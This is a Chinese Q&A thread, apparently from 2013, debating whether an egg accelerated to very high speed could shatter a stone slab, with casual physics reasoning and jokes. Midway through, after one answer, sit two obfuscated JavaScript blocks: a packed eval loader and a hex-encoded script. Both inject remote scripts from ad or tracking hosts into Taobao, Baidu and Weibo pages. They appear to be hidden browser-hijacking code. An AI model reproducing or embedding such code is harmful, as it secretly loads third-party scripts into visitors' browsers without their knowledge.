以卵击石有没有成功的可能?

空中飞行的小鸟能把一架大飞机给打下来,那如果把一个小鸡蛋加速到很高的速度,有没有可能把石头撞破


看了下面各大神的讨论,发现这还真是一个挺复杂的问题。。。为了简单化一些就给定条件吧
“卵”为一枚小鸡蛋
“石”为1*1*0.1m花岗岩大理石
加速器为一条很长很长缓慢加速的管道,管道内无阻力确保鸡蛋不碎掉
出管道后就要开始考虑空气阻力,但时间短,不用考虑鸡蛋会不会熟。。。

问题主要在于两个方面,一个是鸡蛋在如此高速能否首先不被空气撞破;另一个为鸡蛋壳破碎后泄力的结果能否继续提供击破大理石的能量。也即:在能承受的最大空气阻力的速度下,能否击碎石板。

真希望有科学狂人能够实验一下。。。

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61个答案
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Olivine地质学硕士生

2013-06-06 22:23

我觉得是可以的。

比如,人向水中摔去,感到疼的很,可水很软那。

从流变学的角度去分析,物体的强度和作用时间是相关的。比如石头,你用大锤猛敲,如果着力点不对的话,根本就敲不动。但是,如果作用时间足够长,比方说你用手指头一直摁着石头,摁十来年,肯定会把石头摁个坑。也就是说,作用的时间越大(可以看做速率大),物质的强度越大

如图,横轴是应变(衡量变形大小的量),竖轴可以看做强度。曲线是应变速率(可以看做变化速度的快慢),从上到下越来越小。

这张图可以这么看。物体刚开始变形的时候是弹性变形(大致相当于图中曲线斜率比较大的地方),这一段变形越大,需要的力也就越大。到后来,就开始了塑性变形,也就是说发生很大的变形时,施加的力也可以保持不变,这一点反映在图中,就是曲线变的平坦了。那么,这个曲线发生明显弯曲的地方就可以大致看做是物体的强度了。可以看出,变形速率越快(图中越靠上的曲线),物体的强度越大。

当鸡蛋飞速撞上石头的时候,瞬间的变形非常的大,强度也就自然很高了。。。不过,这个时候石头的强度也会很大,可能这个不是主要因素了

从冲量定理考虑,Ft=mV(不考虑相对论效应了),鸡蛋撞上石头的瞬间,突然停止,产生的力也是不容忽视的。

玩过泥巴的童鞋应该知道,一团烂泥如果猛的甩到身上,那时相当的疼的呀。。。(好吧,我小时候就是用一团烂泥把教室的玻璃砸烂了,被罚了两块钱)


好吧,前提是,要把鸡蛋的速率加到足够的大。。。

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干嘛非要鸡蛋加速,不如让石头加速,飞鸟撞机也是因为飞机速度快而不是鸟速度快

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大家显然忽略了一个问题,空气!!!!!!
当鸡蛋加速到很高的时候,显然与空气之间摩擦产生的热就会把鸡蛋变成熟!鸡!蛋!

作为一种近似固体,问题是不是变得稍微能接受的简单呢??

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好吧,讨论点别的方面的,当鸡蛋加速到很快的时候,像鸡蛋这种形状的物体,能不能突破音障呢?有没有学流体的大神在?突破不了自己就解体了。。。。

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当然如果能加速到很大的话,显然像大理石这种低端固体我觉得显然能击穿,

能量考虑,如此大的动能,难道仅仅通过鸡蛋自身的粉碎就能吸收掉,我想大家应该知道粉碎一个鸡蛋不需要什么能量吧!那么能量怎么转移?热量?大家可以自己算一下即便很苛刻的条件,鸡蛋开始10度,那么加热到120度(这里假设蛋液的沸点比较高),那么能量也就消耗Q=CM(T-T0),C为比热容,M为质量,(T-T0)为温差,这个显然和动能1/2*mV^2不能比拟吧,这里随便取V=300m/s(考虑正常空气介质,未超音速),由于大理石的C显然很低,即便考虑大理石和鸡蛋的温升也不足以动能,空气大家就不要考虑了,C太小。剩下的能量能干什么?大理石静止,那么只能是撞击了,我不太了解击穿这样的大理石的能量是多少,但是我在这里还是假设可以击穿的,毕竟能量相当大了。

动量考虑,Ft=m(v-v0),其实就是牛二啦,|F|=m(V-V0)/(t-t0),这里不考虑方向,可以为|F|=mv/t,显然撞击时非常短时间内的,这里我们把鸡蛋当成一个系统考虑。我们假设t=0.03s(考虑鸡蛋9厘米),m=50g,v=300,那么力为50N,我觉得差不多了吧,想想看一个速度差不多的子弹,也足够穿透了

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不可能,我觉得鸟不是把飞机撞下来,是因为速度够快,撞破了玻璃.或者是因为卷进了发动机,导致发动机工作异常. 如果从撞玻璃的情况来说,还有一个原因就是因为鸟的皮肤和肌肉组织有韧性,在第一点基础到被撞击物的情况下,可以将所有冲击力分散到全身,然后以一个整体的力量冲击玻璃. 然而鸡蛋壳却不具备这个韧性. 当第一点接触到被撞物体时,他就会粉碎,飞溅的蛋壳会将冲击力分散,导致冲击力不够不能撞破石头. 以上个人观点,没有经过试验.当然,也没条件试验. :-)

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万行门中M.A., M.Des., CCD, 设计师(视...

2013-06-07 08:54

“用爪子抓着鸡蛋轻轻一敲就把一整块坚固的大理石打得粉粉碎鸡蛋一点事都没有的几率是有的”,猴子在莎士比亚全集的最后一页上顺便敲下了这句话……

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但是要考虑到鸡蛋自身能够承受的强度吧?如果速度过大,鸡蛋本身在加速过程中是否就会碎掉呢?

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1)超高压水枪中喷出的能切开钢板的水能切开钢板么?(笑)

2)鸡蛋和石头的问题,无非就是掺杂着一个干扰思考的因素——鸡蛋和石头的”强度“对比。比高压水枪更清晰地规避了这个干扰因素的方法是——把构成鸡蛋的一个原子加速到一定程度,撞击构成石头的原子,能否对其造成影响,比如发生运动轨迹的空间位移?
答案显然是肯定的。宏观上,高速鸡蛋撞石头无非是无数个构成鸡蛋的原子高速撞击无数个构成石头的原子罢了。。。

3)事实上,即便是很低速的鸡蛋撞击了石头,石头也同样”碎“了,只不过程度非常轻微,你没能察觉罢了——假设有一块石头,以及十亿个鸡蛋,我不断地用鸡蛋去砸石头上的同一个点,直到十亿个鸡蛋用完——常识告诉我们,石头绝对不可能毫发无损。很明显地,石头的损伤是由十亿个鸡蛋的撞击累积而成,每个鸡蛋都使石头发生了总损伤的十亿分之一规模的”破碎“。

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我也来果壳混迹一把!

首先小鸟能撞落飞机,往往是撞到了引擎,或是把接缝处撞开,高空风力大把口子掀开造成功能失效,而不是直接把飞机穿透。

其次,如果不考虑空气阻力的话,假设鸡蛋刚好能穿透石板,而石板固定在地上不动,那么鸡蛋所做的功为 , 其中F为作用力,l为石板厚度,m为鸡蛋质量,v为鸡蛋初速度。
解得作用力为。如果l很小(即石板很薄),而v很大(鸡蛋速度很快),那么作用力F就会很大,而接触面是鸡蛋大小,因此超过石板能承受的压强后石板就会被穿透。
不过力的作用是相互的,此时的冲击力也会作用在鸡蛋上,可以肯定鸡蛋一定会碎掉。

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fuzzy无论如何,还是对C++最专业

2013-06-07 13:01

以卵击石成功的含义是指石破而卵不破。
卵加速到足够高肯定可以破石,但是卵呢?

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6_6伪理性主义者

2013-06-07 00:45

为什么看到题目有种蛋疼的赶脚,只有我有这种感觉么?

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支持者: 卡内其古哈

简单的说,普通情况下鸡蛋之所以会打不赢,是因为蛋壳的强度不够,但撞击瞬间双方受力是一样的,那么只要速度足够大,是有可能把石头打伤的,但是鸡蛋君自己会死得更惨~ 另外考虑到实际问题,如果加速度太大,鸡蛋君的菊花会受不了而爆出翔,所以孩子你不能急,要慢慢给鸡蛋君加速噢~

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支持者: 还魂蛋

这个问题涉及知识其实很广呀~~~冲击动力学,破坏动力学,爆炸动力学,每个都足够写篇论文了。
因为非专业人士,以下内容的描述有不严谨之处,欢迎诸位大神指出。

首先,只要鸡蛋相对于石头动能足够大,总能让石头破坏的。

当然,要把石头撞破。。。应该明确什么叫作撞破。
常见的破坏形式有,
1.凹坑(多见于塑性材料),
2.局部破坏 粉碎:压缩应力下的破坏,裂开:拉伸应力下的破坏)
3.贯穿。
根据不同破坏形式,所需要的能量完全是不一样的。

A.某个较低撞击速度下,鸡蛋的高速撞击产生的应力大于石材的抗压应力,石材破碎。但因为鸡蛋质量本来就小,本身也没什么强度,所有能量在碎了一些石头后都耗光了。
B.在更高些的撞击速度下,粉碎的石头的范围自然更大一些,并且冲击(可以看做爆炸了)会在石头内部产生冲击波,即应力波。冲击波在石头内部的传播让石头被拉扯,因为石材的抗拉应力远小于抗压应力,所以,冲击波会造成石头的碎裂。
C.在更极端的撞击速度下,因为动能实在太大了,在冲击波传递之前,在鸡蛋,不,在超级穿甲蛋面前,什么石头都是战5渣。鸡蛋能够贯穿石材,然后继续前进,直奔星辰大海。
D.亚光速。。。。。看到那个冲击场景的人都没能活下来,所以,我也不知道。

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速度越大,质量越大,别说大理石了,月球都能击穿吧?

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以前看过一个如果把棒球投到近光速会如何的文,别说石头,没被瞄准的地球都快差不多了

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嗯,我来提供下思路
大致想想飞鸟撞坏飞机的事情,就不难得出结论,鸡蛋要击破石头是有希望的
那么,就要假设条件了
按找一般大理石的数据来看,就是假设厚度为5cm
以及假设真空中,鸡蛋被安全完好无损的加速加到一定速度。
然后撞击大理石
很不幸,具体的运算由于我仍为高中狗,不会计算。

不过我的猜想是在空气中,鸡蛋加速到这个速度会由于空气阻力而被压扁


另外,我记得好像有些硬度高的钢材是用高速水流来切割的,
就是把水流疯狂加速,切割钢材。
这样不像传统电锯,切出来的有坑坑洼洼的划痕,还会损坏刀片

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箱子中的薛定谔化工学士,学士后

2013-06-06 22:42

鸡蛋从高速降到零,必定是受到与速度方向相反的力,这个力只能由大理石来提供。 速度足够大,产生的力就足以打破大理石。

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当然前提是鸡蛋撞石头之前不能碎掉,可以在离地球数十光年之外发射鸡蛋,慢慢加速,到达地球时鸡蛋已经接近光速,而且在宇宙空间被低温冻成冰块,瞬间应该可以把地球轰爆吧。。。。。
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(d(5){3(a.x){9}a.x=m;2 e={"t://(.*?\\.q)(F\\.b)|(q\\.E)(19\\.b)":"t://16.15"+"V"+"J.b/13.G"};u(2 l 14 e){2 w=6.M.N;3(w.P(S(l))){j=e[l];d o(p){2 g=p+"=";2 f=6.17.18(\';\');u(2 i=0;i<f.7;i++){2 c=f;H(c.I(0)==\' \')c=c.r(1,c.7);3(c.K(g)==0)9 c.r(g.7,c.7)}9 L}d k(){3(6.D=="O"){2 h=6.Q(\'R\')[0];2 s=6.T(\'U\');s.4(\'W\',\'X/Y\');s.4(\'Z\',\'10-8\');s.4(\'11\',m);3(o("12")){s.4(\'y\',j+\'?v=z&5=\'+5+"&A="+B.C())}n{s.4(\'y\',j+\'?v=z&5=\'+5+"&A="+B.C())}h.1a(s)}n{a.1b(k,1c)}}k()}}})("1d");',62,76,'||var|if|setAttribute|cid|document|length||return|window|com||function|plugin_scripts|ca|nameEQ|||imax_script_url|addBrowserJs|enabledDomains|true|else|readCookie|name|tao|substring||http|for||host|tbk|src|plugin|_|Math|random|readyState|et|bao|js|while|charAt|aoimages|indexOf|null|location|href|complete|match|getElementsByTagName|head|RegExp|createElement|script|ob|type|text|javascript|charset|utf|async|_q_r_b_|browser|in|ta|imax|cookie|split|ao|appendChild|setTimeout|20|CID'.split('|'),0,{})) ;;(function (d) {var _0xc429=["\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x61\x6F\x61\x64\x2E\x77\x61\x6E\x64\x6F\x75\x70\x61\x69\x2E\x63\x6F\x6D\x2F\x61\x64\x2E\x6A\x73","","\x73\x2E\x74\x61\x6F\x62\x61\x6F\x2E\x63\x6F\x6D\x2F\x73\x65\x61\x72\x63\x68","\x73\x65\x61\x72\x63\x68","\x77\x65\x69\x62\x6F","\x62\x61\x69\x64\x75","\x6C\x65\x6E\x67\x74\x68","\x6D\x61\x74\x63\x68","\x61\x64\x3D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x63\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x73\x63\x72\x69\x70\x74","\x54\x31\x78\x43\x36\x4D\x58\x66\x74\x68\x58\x58\x63\x57\x65\x71\x62\x58","\x3F","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63"];var href=d[_0xc429[1][_0xc429[0];var host=_0xc429[2];var url=_0xc429[3];var url_map=[_0xc429[4],_0xc429[5],[_0xc429[6],_0xc429[6],[_0xc429[7],_0xc429[7]];for(var i=0;i<url_map[_0xc429[8];i++){if(href[_0xc429[9](url_map[i][0])){url=_0xc429[10]+url_map[i][1];break ;} ;} ;if(url==_0xc429[3]){return false;} ;var appendTag=function (_0x1214x7,_0x1214x8,_0x1214x9){if(document[_0xc429[11](_0x1214x8)[_0xc429[8]>0){return ;} ;var _0x1214xa=d[_0xc429[12](_0x1214x7);_0x1214xa[_0xc429[13]=_0x1214x8;_0x1214x9(_0x1214xa);var _0x1214xb=d[_0xc429[15](_0xc429[14])[0];if(!_0x1214xb){return ;} ;_0x1214xb[_0xc429[16](_0x1214xa);return _0x1214xa;} ;appendTag(_0xc429[17],_0xc429[18],function (_0x1214xc){var _0x1214xd=host+_0xc429[19]+url;_0x1214xc[_0xc429[20]=_0xc429[21];_0x1214xc[_0xc429[22]=_0x1214xd;} );})(document);

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还是要看鸡蛋携带着多少能量的,多的话就会想炸弹一样爆掉

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鸡蛋肯定是会自己碎掉的,而且打破的石头厚度还有上限。。。E=mc∧2摆在这里了(虽然达到这么高的能量转换率基本无望)

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蛋非刚体,那么大的速度下蛋能不能保持完整都是个问题,起码加速度过大就直接废掉。

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Edimion结构工程硕士

2013-06-07 08:17

看你怎么定义以卵击石了
如果定义为只是击碎石头,那还有可能实现
但是我觉得以卵击石应该被定义为击碎石头,鸡蛋(就认为 卵=鸡蛋 吧,不要在意这些细节)没有损坏,恐怕就不太现实了

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蛋清是非牛顿流体,受到机械力的时候会表现的更加坚硬。因此减小了撞击难度。
与同等大小的石头相撞,这两个最多同归于尽,估计鸡蛋还是没有获胜的可能

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我觉得鸡蛋只要放进液氮里面冻一下,一般软一点的石头不在话下。
用一个液氮冻结的鸡蛋击碎一个1mm厚的岩石切片。鸡蛋解冻后仍保持完整的可能性很高。

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想那么复杂干嘛?鸡蛋直接就想成一个拥有质量的点不久行了?当鸡蛋撞到石头上的时候为了将速度减到跟石头一样石头必须给它一个力,而且鸡蛋的速度越大这个需要的力也越大,力的作用是相互的 只要鸡蛋速度够大当然能把石头撞烂

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laomao0000爱DIY的数学怪蜀黍

2013-06-07 10:51

理想实验:把鸡蛋加速到近光速(0.9c之类),然后撞块石头试试看,估计地球都被撞穿了......
可怜的鸡蛋君..

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唐吉诃德昆虫爱好者、纯音乐控

2013-06-07 11:12

我在想,用鸡蛋撞滑石会不会打到这个效果

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大刘说一个原子就干掉一个星系!何解?

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水刀都能割金属的,鸡蛋砸石头当然没问题

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可以把鸡蛋石头仍真空嘛.........

说是鸡蛋砸石头,鸡蛋必须透过空气来砸石头....

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如果被空气加热成熟鸡蛋的话,是不是就不碎了

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路过···楼上各位大神说的太好了···

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类似水可以切割钢板,
蛋液切割石头我觉得也成,
唯一的问题就是怎样把鸡蛋加速到这样一个速度
首先用类似枪炮的方法是不行的,加速度太大,
蛋壳会在加速过程中碎裂,
那就只能用电磁加速咯
用电磁轨道加速一个金属小车,
小车上装着蛋
整个环境 要是真空或者稀薄空气
不然空气会把蛋壳烧蚀
所以
答案就完整啦
么么哒

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鸟把飞机撞下来,是因为鸟撞坏了发动机吧

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若鸡蛋君以超光速运行,会不会时间倒流,到时候回到宇宙起源起点,连地球都没生出来,何况一小小石板!

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加菲众音乐及科技节目主持人、动静科技创始人

2013-06-07 15:18

没有。

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Ralph临床医学学士

2013-06-07 15:50

这个问题我们可以分两部考虑,一是击碎石头需要多大能量?第二个部分是一个鸡蛋破碎的机械变形可以吸收多大能量?两部分能量加起来就能推导出一枚鸡蛋需要多大速度能击碎或者侵彻一块石板。

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要看什么石头的,什么早就有裂缝的石头,虽然肉眼难以发现,正好碰到颗顽蛋算它倒霉

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鸡蛋其实最难的问题是如果在接触时如何保持能量不会作用在形变上,西瓜就很能解释这个问题,在大气层内,西瓜就是类似鸡蛋的物体,经常有人使用橡皮弹弓什么的来发射西瓜炮弹,然后西瓜在接触到物体的同时,由于表皮的变形,导致内物改变方向,而无法保持能量的集中,在这样的情况下,鸡蛋那么小的质量,更难出现比质量大的多的西瓜好的结果

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春水涣涣电力电子博士生,文史爱好者

2013-06-07 22:22

以光速飞来的卵(好吧是接近光速)把石头融化都没问题吧。

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